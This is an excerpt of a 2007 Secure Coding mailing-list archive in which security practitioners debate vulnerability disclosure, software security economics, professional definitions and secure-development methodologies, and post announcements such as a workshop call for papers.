	<Pine.GSO.4.51.0703051418380.6098@faron.mitre.org>
Message-ID: <45ECC2C1.8030907@securityglobal.net>

Though I share Steve's sentiments on the anti-researcher bias, and I
agree with Gary's yin-yang conclusion, I really hate the question itself.

The disclosure question itself *presumes* that the current state of the
industry (defective products) is economically efficient.  The premise
absolves vendors *and* customers of any role or responsibility in
improving efficiency [I'm of the opinion that organic security would be
economically beneficial].

The question presumes that The Issue with vulnerabilities is either 
squelching the researchers (the researcher as pimp view) or promoting 
detailed disclosures (the researcher as super hero view).

I am much more interested in why vendors make defective products and why 
customers accept this level of quality, and lots of related questions.

So, in reference to Gary's "breaking story," why was the Gary McGraw
automaton not able to deal with the icy walk?  Is the severe structural
damage and hours of surgical correction more cost effective than what
any anti-ice protections would have cost?  Those are the Good Questions.
  Asking whether the disclosure of the icy exploit is good or bad is the
Wrong Question.

Stuart


-- 
Stuart Moore
SecurityTracker.com



Steven M. Christey wrote:
> On Tue, 27 Feb 2007, J. M. Seitz wrote:
> 
>> Always a great debate, I somewhat agree with Marcus, there are plenty of
>> "pimps" out there looking for fame, and there are definitely a lot of them
>> (us) that are working behind the scenes, taking the time to help the vendors
>> and to stay somewhat out of the limelight.
> 
> Do the people who write the books to avoid the vulns, sell the tools, and
> give talks at conferences stay out of the limelight as well?  What about
> all those podcasts?  They should be discounted too, since they're clearly
> pimping something.  They must have ulterior motives.  Don't get me started
> on those rabble-rousers who complain about voting machine security.
> 
> Not that I don't have issues with how disclosure happens sometimes, but
> the anti-researcher sentiment that castigates them based on "looking for
> fame" by people who are themselves "famous" strikes me as a bit
> hypocritical.  Why do we know that Marcus designed the White House's first
> firewall?  'cause he told us, that's why.
> 
> We're very lucky that assumed fame-hunters like Cesar Cerrudo and David
> Maynor have decided that they won't bother telling the vendor about vulns
> they find because of all the trouble it gets them into.  It's quite
> unfortunate that Litchfield has almost single-handedly dared to question
> Oracle's claim that it's unbreakable.  Perhaps we would prefer that these
> pimpers stop giving us disclosure timelines that show that they notified
> vendors about issues months or YEARS before the vendors actually got
> around to fixing them.  We can go back to security through obscurity, the
> old fashioned way, by lawsuits and threats.  Like what happened at Black
> Hat last week, but with less press.
> 
> Basically, I have an issue with the criticism of this aspect of researcher
> "pimpage" when it's usually the pot calling the kettle black, when most of
> us are getting paid one way or another for this work, and there's a
> pervasive inability to recognize that many such researchers feel forced to
> disclose when the vendor still does nothing.  And many researchers aren't
> in it for the fame, which is the assumption that the pimpage argument is
> based on.
> 
> Sorry, must be a case of the Mondays combined with this building up over a
> year or two.  The vuln researchers are the only parts of this business who
> get no respect.
> 
> - Steve


From gem at cigital.com  Mon Mar  5 21:30:15 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 5 Mar 2007 21:30:15 -0500
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
Message-ID: <83B3489DF1064F4E90218770D953D36107B803@va-mail.cigital.com>

Right.  

And while you're calculating costs, don't forget to factor in the costs of all of the opiates that the McGraw automaton is now faced with eating as he wiles away his "patching time" on the orange chair.  The break was severe indeed.

I think some vendors have come around to the economics argument. In every case, those vendors with extreme reputation exposure have attempted to move past penetrate and patch.  Microsoft, for one, is trying hard, but (to use my broken leg analogy) they had a sever case of osteoporosis and must take lots of calcium to build up bone mass.   The financial vertical, led by the credit card consortiums is likewise making good progress.  Other vendors with less brand exposure (or outright apathy from users) are slower on the uptake.

Ultimately, the economic decision will rule the day.

gem

P.S. I would rush out and buy some ice remover, but the weather has warmed up and I am currently immobile.

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


 -----Original Message-----
From: 	Stuart Moore [mailto:smoore.sc at securityglobal.net]
Sent:	Mon Mar 05 21:18:03 2007
To:	SC-L at securecoding.org
Cc:	Steven M. Christey
Subject:	Re: [SC-L] Disclosure: vulnerability pimps?  or super heroes?

Though I share Steve's sentiments on the anti-researcher bias, and I
agree with Gary's yin-yang conclusion, I really hate the question itself.

The disclosure question itself *presumes* that the current state of the
industry (defective products) is economically efficient.  The premise
absolves vendors *and* customers of any role or responsibility in
improving efficiency [I'm of the opinion that organic security would be
economically beneficial].

The question presumes that The Issue with vulnerabilities is either 
squelching the researchers (the researcher as pimp view) or promoting 
detailed disclosures (the researcher as super hero view).

I am much more interested in why vendors make defective products and why 
customers accept this level of quality, and lots of related questions.

So, in reference to Gary's "breaking story," why was the Gary McGraw
automaton not able to deal with the icy walk?  Is the severe structural
damage and hours of surgical correction more cost effective than what
any anti-ice protections would have cost?  Those are the Good Questions.
  Asking whether the disclosure of the icy exploit is good or bad is the
Wrong Question.

Stuart


-- 
Stuart Moore
SecurityTracker.com



Steven M. Christey wrote:
> On Tue, 27 Feb 2007, J. M. Seitz wrote:
> 
>> Always a great debate, I somewhat agree with Marcus, there are plenty of
>> "pimps" out there looking for fame, and there are definitely a lot of them
>> (us) that are working behind the scenes, taking the time to help the vendors
>> and to stay somewhat out of the limelight.
> 
> Do the people who write the books to avoid the vulns, sell the tools, and
> give talks at conferences stay out of the limelight as well?  What about
> all those podcasts?  They should be discounted too, since they're clearly
> pimping something.  They must have ulterior motives.  Don't get me started
> on those rabble-rousers who complain about voting machine security.
> 
> Not that I don't have issues with how disclosure happens sometimes, but
> the anti-researcher sentiment that castigates them based on "looking for
> fame" by people who are themselves "famous" strikes me as a bit
> hypocritical.  Why do we know that Marcus designed the White House's first
> firewall?  'cause he told us, that's why.
> 
> We're very lucky that assumed fame-hunters like Cesar Cerrudo and David
> Maynor have decided that they won't bother telling the vendor about vulns
> they find because of all the trouble it gets them into.  It's quite
> unfortunate that Litchfield has almost single-handedly dared to question
> Oracle's claim that it's unbreakable.  Perhaps we would prefer that these
> pimpers stop giving us disclosure timelines that show that they notified
> vendors about issues months or YEARS before the vendors actually got
> around to fixing them.  We can go back to security through obscurity, the
> old fashioned way, by lawsuits and threats.  Like what happened at Black
> Hat last week, but with less press.
> 
> Basically, I have an issue with the criticism of this aspect of researcher
> "pimpage" when it's usually the pot calling the kettle black, when most of
> us are getting paid one way or another for this work, and there's a
> pervasive inability to recognize that many such researchers feel forced to
> disclose when the vendor still does nothing.  And many researchers aren't
> in it for the fame, which is the assumption that the pimpage argument is
> based on.
> 
> Sorry, must be a case of the Mondays combined with this building up over a
> year or two.  The vuln researchers are the only parts of this business who
> get no respect.
> 
> - Steve

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ken at krvw.com  Tue Mar  6 07:00:15 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 6 Mar 2007 07:00:15 -0500
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <83B3489DF1064F4E90218770D953D36107B803@va-mail.cigital.com>
References: <83B3489DF1064F4E90218770D953D36107B803@va-mail.cigital.com>
Message-ID: <D714877E-B081-4ED7-BFE6-37F7C36280F1@krvw.com>

On Mar 5, 2007, at 9:30 PM, Gary McGraw wrote:
> I think some vendors have come around to the economics argument. In  
> every case, those vendors with extreme reputation exposure have  
> attempted to move past penetrate and patch.  Microsoft, for one, is  
> trying hard, but (to use my broken leg analogy) they had a sever  
> case of osteoporosis and must take lots of calcium to build up bone  
> mass.   The financial vertical, led by the credit card consortiums  
> is likewise making good progress.  Other vendors with less brand  
> exposure (or outright apathy from users) are slower on the uptake.

Having spent several years on the incident handling side of this  
argument at CMU's CERT/CC, US. Dept. of Defense, etc., I thought I'd  
chime in here as well.  It's encouraging to me to see that many  
vendors now recognize the reputation exposure and economics  
argument.  I know that in my years at CERT (1989-1993), we were more  
than once threatened by uncooperative vendors, saying that they would  
sue us if we published information about their product's  
vulnerabilities.  We spent years developing those vendor  
relationships and building up some level of mutual trust.  It's not  
always an easy path.

In the "full disclosure" years, it's been my observation that many  
vendors get forced into publishing patches when the "vulnerability  
pimps" (as Marcus calls them) call them out in public.  Without a  
doubt, that's lead many vendors to respond more quickly and more  
publicly than they otherwise might have.  At the same time, (and to  
try to bring this thread back to *software security*) I'm concerned  
about the software security ramifications of being bullied into  
patching something too quickly.  While a simple strcpy-->strncpy (or  
similar) src edit takes just moments, and shouldn't impact the  
functionality and reliability of any software, patches are rarely  
that simple.  When software producers are forced to develop patches  
in unnaturally rushed situations, bigger problems (IMHO) will  
inevitably be introduced.

So, I applaud the public disclosure model from the standpoint of  
consumer advocacy.  But, I'm convinced that we need to find a process  
that better balances the needs of the consumer against the secure  
software engineering needs.  Some patches can't reasonably be  
produced in the amount of time that the "vulnerability pimps" give  
the vendors.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070306/ab956dc4/attachment-0001.bin 

From ed.reed at aesec.com  Tue Mar  6 07:52:30 2007
From: ed.reed at aesec.com (Ed Reed)
Date: Tue, 06 Mar 2007 07:52:30 -0500
Subject: [SC-L] Economics of Software Vulnerabilities
Message-ID: <45ED640E.8080705@aesec.com>

For a long time I thought that software product liability would
eventually be forced onto developers in response to their long-term
failure to take responsibility for their shoddy code.  I was mistaken. 
The pool of producers (i.e., the software industry) is probably too
small for such blunt economic policy to work.

Keep in mind that economics does have a tendency to balance out risk and
reward, and to fairly allocate liability.  But it takes time.  We're
only about 50 years into the life of the software industry, and we're
just starting to see regulatory notice that computers even exist.

It appears, now, that producers will not be regulated, but rather users
and consumers.  SOX, HIPAA, BASEL II, etc. are all about regulating
already well-established business practices that just happen to be
incorporating more software into their operations. 

But as with other "serious" security policy formulations - the
technology is irrelevant.  The policies, whether SOX or Multi-level
Security, are intended to protect information of vital importance to the
organization.  If technical controls are adequate to enforce them -
fine.  If not, that in no way absolves the enterprise of the need to
provide adequate controls.

The computer software industry has lost its way.  It appears to be
satisfied with prodding and encouraging software developers to develop
some modicum of shame for the shoddy quality of their output.  Feed the
beast, and support rampant featurism - its what's made so many people
rich, after all.

In the long run, though, featurism without quality is not sustainable. 
That is certainly true, and I applaud efforts to encourage developers to
rise up from their primordial ooze and embrace the next steps in sane
programming (we HAVE largely stamped out self-modifying code, but
strcpy() is still a problem...)

But that's not security.  It's just reducing irresponsible defects. 

For computer security to have any meaning, someone, some where, has to
say what is supposed to happen and what is not supposed to happen with
regard to access to information and resources of the system.  In other
words, there has to be a security policy.

If there's no way to articulate how the security policy can be enforced
by a system, i.e., no security model, then there's no real way to even
have a discussion about whether a system, much less individual
components of the system, contribute to or get in the way of enforcing
the security policy.

What's most disappointing to me is the near-total lack of discussion
about security policies and models in the whole computer security field,
today.

We're at about the 19th century level of sophistication of the practice
of medicine - we have a germ theory ("bugs make you sick"), but we're
still trying to get the doctors and nurses to wash their hands between
surgery ("Doctor!  It HURTS when I do that!" "Then stop DOING that!"). 
Better languages, better language skills, and better transparency
(disclosure) are all areas of important improvement.

The question I raise is this - will we return to a serious discussion
about whether and how computers can be used to secure the vital
information of enterprises before our industry reaches its first century
(say, by 2055)?  Ought a computer be able to be expected to apply
controls adequate to "bet your life on", or not?  If so, when will that
discussion get started again?  It seems like the analytical approaches
that brought us Bell-LaPadula and similar models are considered
off-topic, today, but I haven't seen anything replace them as the basis
for a rational computer security discussion.

If engineering is the practice of applying the logic and proofs provided
by science to real world situations, software engineering and computer
science seem simply to have closed their eyes to the question of system
security and internal controls.

Perhaps economics will reinvigorate the discussion in the coming decades.

Ed Reed

From BlueBoar at thievco.com  Tue Mar  6 10:26:00 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Tue, 06 Mar 2007 07:26:00 -0800
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <D714877E-B081-4ED7-BFE6-37F7C36280F1@krvw.com>
References: <83B3489DF1064F4E90218770D953D36107B803@va-mail.cigital.com>
	<D714877E-B081-4ED7-BFE6-37F7C36280F1@krvw.com>
Message-ID: <45ED8808.1080507@thievco.com>

Kenneth Van Wyk wrote:
> So, I applaud the public disclosure model from the standpoint of
> consumer advocacy.  But, I'm convinced that we need to find a process
> that better balances the needs of the consumer against the secure
> software engineering needs.  Some patches can't reasonably be produced
> in the amount of time that the "vulnerability pimps" give the vendors.

>From the outside, it looks like the vast majority of the patches take as
long as the vendor feels like taking. With a small percentage of
vulnerabilities being released with no vendor warning at all. It's
relatively unusual that I see bulletins where the researcher releases
saying that the vendor took too long, so they are releasing now.

But that's just going from memory, I haven't done a proper survey or
anything.

					BB

From coley at linus.mitre.org  Tue Mar  6 13:40:30 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 6 Mar 2007 13:40:30 -0500 (EST)
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <D714877E-B081-4ED7-BFE6-37F7C36280F1@krvw.com>
References: <83B3489DF1064F4E90218770D953D36107B803@va-mail.cigital.com>
	<D714877E-B081-4ED7-BFE6-37F7C36280F1@krvw.com>
Message-ID: <Pine.GSO.4.51.0703061322290.5589@faron.mitre.org>


On Tue, 6 Mar 2007, Kenneth Van Wyk wrote:

> While a simple strcpy-->strncpy (or similar) src edit takes just
> moments, and shouldn't impact the functionality and reliability of any
> software, patches are rarely that simple.

Agreed, but this needs to change.  The threat environment has provably
worsened, so that it can be incredibly damaging to an organization if they
rely on software that takes months to fix.  From my outsider
(non-developer's) point of view, the development lifecycle needs to be
able to handle emergency situations.  The so-called "pimps" are
unintentionally highlighting this problem; what happens when 0-days become
more the norm and the time-to-patch hasn't changed?

> consumer advocacy.  But, I'm convinced that we need to find a process
> that better balances the needs of the consumer against the secure
> software engineering needs.

This assumes that there is widespread interest in helping the consumer,
which some researchers simply do not have, and certainly not the genuinely
malicious parties.  Not that I've given up on "responsible disclosure" but
there will be a community of people who won't follow any recommendations
that are put out, and hobbyists/independent researchers are also left out.

In some ways, I view the current state of affairs as a symptom - when
software gets strong enough that someone has to spend a lot of
time/resources to find a vulnerability and code an exploit, people won't
be so willing to just toss it out to the public willy-nilly.  It's just
too easy to "grep and gripe" for vulns in typical software.  Last year, a
14 year old researcher gave us vuln DB's a headache by finding about 500
vulnerabilities in the course of a few months, using blatantly obvious
10-minute tests on demo versions of software that went for $100 to $500 a
pop.  That was one of the biggest unreported news stories of the year, as
far as I'm concerned.  Such blatantly insecure software should not be that
widespread.  He's not disclosing to the public anymore, just to his own
private group, and I don't think I prefer it that way.  Interestingly, he
was only interested in the "challenge," not the fame.

- Steve

From coley at linus.mitre.org  Tue Mar  6 23:50:13 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 6 Mar 2007 23:50:13 -0500 (EST)
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <45ED8808.1080507@thievco.com>
References: <83B3489DF1064F4E90218770D953D36107B803@va-mail.cigital.com>
	<D714877E-B081-4ED7-BFE6-37F7C36280F1@krvw.com>
	<45ED8808.1080507@thievco.com>
Message-ID: <Pine.GSO.4.51.0703062339460.17153@faron.mitre.org>


Based on my general impressions in day-to-day operations for CVE (around
150 new vulns a week on average), maybe 40-60% of disclosures happen
without any apparent attempt at vendor coordination, another 10-20% with a
communication breakdown (including "they didn't answer in 2 days"), and
the rest coordinated.  A bit of a guess there, though.

The only remotely relevant survey that I can think of was by me and
Barbara Pease, 6 years ago in 2001, and we were reduced to qualitative
analysis because data collection turned out to be too expensive, and this
was focused on vendor acknowledgement (which holds steady at 50% no matter
what the year).  But disclosure timelines are thankfully more prevalent
these days, so an updated study would be more illuminating.  I'm looking
forward to Richard Forno's study of vuln researchers whenever it comes
out.

For obligatory SC-L content: this is one reason why I think vendor
development/maintenance processes need to be prepared for non-coordinated
disclosures.

- Steve

From koved at us.ibm.com  Wed Mar  7 09:00:56 2007
From: koved at us.ibm.com (Larry Koved)
Date: Wed, 7 Mar 2007 09:00:56 -0500
Subject: [SC-L] IEEE Workshop: Web 2.0 Security & Privacy
Message-ID: <OF46B46917.CD536F94-ON85257297.004C74CE-85257297.004D01A0@us.ibm.com>

This is a workshop that may be of interest to subscribers of this mailing 
list.

http://www.ieee-security.org/TC/SP2007/cfp-W2SP.html



                                   Workshop Call for Position Papers

                      W2SP 2007: Web 2.0 Security and Privacy 2007

  Sponsored by the IEEE Technical Committee on Security and Privacy
Held in conjunction with the 2007 IEEE Symposium on Security and Privacy

     Thursday, May 24, The Claremont Resort, Oakland, California

The goal of this one day workshop is to bring together researchers and
practitioners from academia and industry to focus on understanding Web
2.0 security and privacy issues, and establishing new collaborations
in these areas.

Web 2.0 is about connecting people and amplifying the power of working
together.  The goal of connecting people is bringing together a broad
range of technologies and social forces.  We have witnessed a rapid
proliferation of social computing web sites and content.  This mixing
of technology and social interaction is also occurring in the context
of a wave of technologies supporting rapid development of these
interpersonal interactions.

Many of these new web technologies rely on the composition of content
and services from multiple sources. On one end of the technology
spectrum we have simple services such as blogs and wikis. However
there are far more complex technology composition (mash-up) examples.
The content composition trend is likely to continue. The lure is the
promise of inexpensive and easy ways to compose software service and
content.

However, there are issues with respect to management of identities,
reputation, privacy, anonymity, transient and long term relationships,
and composition of function and content, both on the server side and
inside the web browser.  While the security and privacy issues are not
new (many of these issues already exist with portal servers and
browsers), the security issue is increasingly becoming acute as the
technologies are adopted and adapted to appeal to a wider developer
audience. Some of these technologies deliberately bypass existing
security mechanisms.  This workshop is intended to discuss the
limitations of the current technologies and explore alternatives.

The scope of W2SP 2007 includes, but is not limited to:

    -- Identity, privacy, reputation and anonymity
    -- End-to-end security architectures
    -- Security of content composition
    -- Security and privacy policy definition and modeling of 
       content composition
    -- Provenance and governance
    -- Usable security and privacy models
    -- Static and dynamic analysis for security
    -- Security as a service

Workshop Co-Chairs:  oakland07-workshop at ieee-security.org
            Larry Koved,  IBM T. J. Watson Research Center
            Dan Wallach,  Rice University

Program committee:

Drew Dean (Yahoo)
Simone Fischer-Hubner (Karlstad University)
Larry Koved (IBM)
Shriram Krishnamurthi (Brown University)
John C. Mitchell (Stanford University)
Alex Russell (DojoToolkit.org)
Dan Wallach (Rice University)
Helen Wang (Microsoft)

Due to space limitations of the workshop venue registration is limited
to 40 participants.  While not required, potential workshop
participants should submit a 1-2 page position statement on topics
relevant to Web 2.0 security and privacy issues.  This will help the
workshop organizers organize the day around topics of common interest,
and choose panels / papers to be presented.  Should the workshop be
oversubscribed, the program committee will strive to select
participants in a way that is balanced between academia and industry,
as well as across topics.  The program committee will also select
workshop position statements to appear on the workshop web site.

Important dates:
    Position statement submission deadline: March 23, 2007
    Workshop acceptance notification date: March 30, 2007
    Workshop date: Thursday May 24, 2007

Workshop position statement submission web site:
     http://continue.cs.brown.edu/servlets/w2sp07/continue.ss

Workshop registration will only be available via the 
2007 IEEE Symposium on Security and Privacy conference web site.







Larry Koved
IBM T.J. Watson Research Center
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070307/d50788de/attachment.html 

From ken at krvw.com  Wed Mar  7 11:44:15 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Wed, 7 Mar 2007 11:44:15 -0500
Subject: [SC-L] Nokia Lets Users Update Phone Software Directly (Phone Scoop)
Message-ID: <C0B623D6-2978-4594-943A-E39F43C5E29D@krvw.com>

SC-L,

Ok, so we all have various opinions about security patching practices  
in software -- mostly bad, I'm confident.  But, in today's  
environment, patching still seems to be a necessary evil.  But for  
the most part, mobile devices have been pretty much left out in the  
code.  That's starting to change, but slowly.  Here's a story about  
Nokia's recent announcement to enable their phone users to update the  
software on their own phones.  Of course, apart from the legitimate  
security updating aspects of this sort of feature, I wonder if  
they've carefully thought through the misuse cases...  Time will tell.

In any case, FYI -- here's a URL to the article.  Happy reading.

http://www.phonescoop.com/news/item.php?n=2105

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070307/87bea35a/attachment-0001.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070307/87bea35a/attachment-0001.bin 

From ken at krvw.com  Thu Mar  8 10:23:08 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 8 Mar 2007 10:23:08 -0500
Subject: [SC-L] =?iso-8859-1?q?STSC_CrossTalk_-_Secure_Coding_Standards_-_?=
 =?iso-8859-1?q?Mar=A02007?=
Message-ID: <56667C00-1520-49CF-9698-F9A7AC7872B8@krvw.com>

Greetings SC-Lers,

Sitting here in the DHS Software Assurance forum today, I browsed a  
copy of the CrossTalk journal, "The Journal of Defense Software  
Engineering".  This month's issue is focused on software security,  
and there are numerous articles in it that are likely to be of  
general interest to some of you.  The journal has an RSS feed (http:// 
www.stsc.hill.af.mil/crosstalk/CrossTalk.rss) and all the articles  
are available for free on-line.  This article by James Moore and  
Robert Seacord,
http://www.stsc.hill.af.mil/crosstalk/2007/03/0703MooreSeacord.html,  
caught my eye in particular.

Check it out.  Neat stuff, for free.

Cheers,

Ken

P.S. Some of you had reported problems with your emailers in reading  
my previously PGP-signed postings.  I'm now experimenting with  
signing via S/MIME and a free X.509 certificate from Thawte.  Those  
of you who reported the PGP problems to me (you know who you are), is  
this any better?  Please reply off-list.
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070308/8c69f881/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070308/8c69f881/attachment.bin 

From James.McGovern at thehartford.com  Thu Mar  8 11:08:43 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 8 Mar 2007 11:08:43 -0500
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <56667C00-1520-49CF-9698-F9A7AC7872B8@krvw.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA4F9@AD1HFDEXC309.ad1.prod>

If you have two individuals, one of which has been practicing secure coding practices and encouraging others to do so for years while another individual was involved with firewalls, intrusion detection, information security policies and so on, are they both information security professionals or just the later?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070308/c76f95d8/attachment.html 

From James.McGovern at thehartford.com  Thu Mar  8 11:16:53 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 8 Mar 2007 11:16:53 -0500
Subject: [SC-L] Information Protection Policies
In-Reply-To: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7433DE@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA4FB@AD1HFDEXC309.ad1.prod>

Hopefully lots of the consultants on this list have been wildly successful in getting Fortune enterprises to embrace secure coding practices. I am curious to learn of those who have also been successful in getting these same Fortune enterprises to incorporate the notion of secure coding practices into an information protection policy and whether there are any publicly available examples.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gunnar at arctecgroup.net  Thu Mar  8 12:13:00 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: 08 Mar 2007 11:13:00 -0600
Subject: [SC-L] What defines an InfoSec Professional?
Message-ID: <3256197210.862881@authsmtp.visi.com>

actually just the former. Robert Garigue characterized firewalls, nids, et al as good network hygiene. The equivalent of a dentist telling you to brush your teeth. An infosec pro needs much more depth than that. The model is charlemagne

http://1raindrop.typepad.com/1_raindrop/2007/02/thinking_about_.html

-gp
-----Original Message-----
From: "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com>
Date: Thursday, Mar 8, 2007 10:27 am
Subject: [SC-L] What defines an InfoSec Professional?

If you have two individuals, one of which has been practicing secure coding=
 practices and encouraging others to do so for years while another individu= al was involved with firewalls, intrusion detection, information security p= olicies and so on, are they both information security professionals or just=
 the later?


************************************************************************* This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended recipient, any use, copying, disclosure, dissemination or distribution is strictly prohibited.  If you are not the intended recipient, please notify the sender immediately by return e-mail, delete this communication and destroy all copies.
*************************************************************************




From Brian.A.Shea at bankofamerica.com  Thu Mar  8 14:07:28 2007
From: Brian.A.Shea at bankofamerica.com (Shea, Brian A)
Date: Thu, 08 Mar 2007 11:07:28 -0800
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <3256197210.862881@authsmtp.visi.com>
Message-ID: <CC9C8DDEEAD1814BA5FED7227254EE5B34728E@ex2k.bankofamerica.com>

The right answer is both IMO.  You need the thinkers, integrators, and
operators to do it right.  The term Security Professional at its basic
level simply denotes someone who works to make things secure.

You can't be secure with only application security any more than you can
be secure with only firewalls or NIDs.  The entire ecosystem and
lifecycle must be risk managed and that is accomplished by security
professionals.  Each professional may have a specialty due to the
breadth of topics covered by Security (let's not forget our Physical
Security either), but all would be expected to act as professionals.
Professionals in this definition being people who are certified and
expected to operate within specified standards of quality and behavior
much like CISSP, CPA, MD, etc.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Gunnar Peterson
Sent: Thursday, March 08, 2007 9:13 AM
To: James.McGovern at thehartford.com
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] What defines an InfoSec Professional?

actually just the former. Robert Garigue characterized firewalls, nids,
et al as good network hygiene. The equivalent of a dentist telling you
to brush your teeth. An infosec pro needs much more depth than that. The
model is charlemagne

http://1raindrop.typepad.com/1_raindrop/2007/02/thinking_about_.html

-gp
-----Original Message-----
From: "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com>
Date: Thursday, Mar 8, 2007 10:27 am
Subject: [SC-L] What defines an InfoSec Professional?

If you have two individuals, one of which has been practicing secure
coding=
 practices and encouraging others to do so for years while another
individu= al was involved with firewalls, intrusion detection,
information security p= olicies and so on, are they both information
security professionals or just=
 the later?


************************************************************************
* This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution
is strictly prohibited.  If you are not the intended recipient, please
notify the sender immediately by return e-mail, delete this
communication and destroy all copies.
************************************************************************
*



_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc -
http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________

From ken at krvw.com  Thu Mar  8 16:17:27 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 8 Mar 2007 16:17:27 -0500
Subject: [SC-L] =?windows-1252?q?Justice_League_=BB_Blog_Archive_=BB_Cigit?=
 =?windows-1252?q?al=92s_Touchpoints_versus_Microsoft=92s_SDL_=5BCigital?=
 =?windows-1252?q?=5D?=
Message-ID: <D50034E9-3902-4658-B914-19C19D36CC6A@krvw.com>

SC-L,

I'm often asked by folks to compare and contrast some of the various  
published software security practices, from Microsoft's SDL and  
OWASP's CLASP through Cigital's "Touchpoint" processes.  My own view  
is that they all offer value and are all worthy of consideration.  In  
his most recent "Justice League" blog entry, Gary McGraw offers his  
own (obviously biased, as Cigital's CTO) comparison between their own  
approaches and Microsoft's SDL.  You can read what he has to say at:

http://www.cigital.com/justiceleague/2007/03/08/cigitals-touchpoints- 
versus-microsofts-sdl/

After recently reading Michael Howard and Steve Lipner's SDL book, I  
found a lot that I liked -- notably their discussions about testing.   
I admit that it largely changed my opinion about the value of (smart)  
fuzzing, for example.

But how about others' experiences?  I've found a lot of people feel  
comfortable with Microsoft's STRIDE / DREAD approaches because  
they're relatively light weight and an easy first step to take.   
Anyone here care to offer their own opinions and experiences?

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070308/0ec475f8/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070308/0ec475f8/attachment.bin 

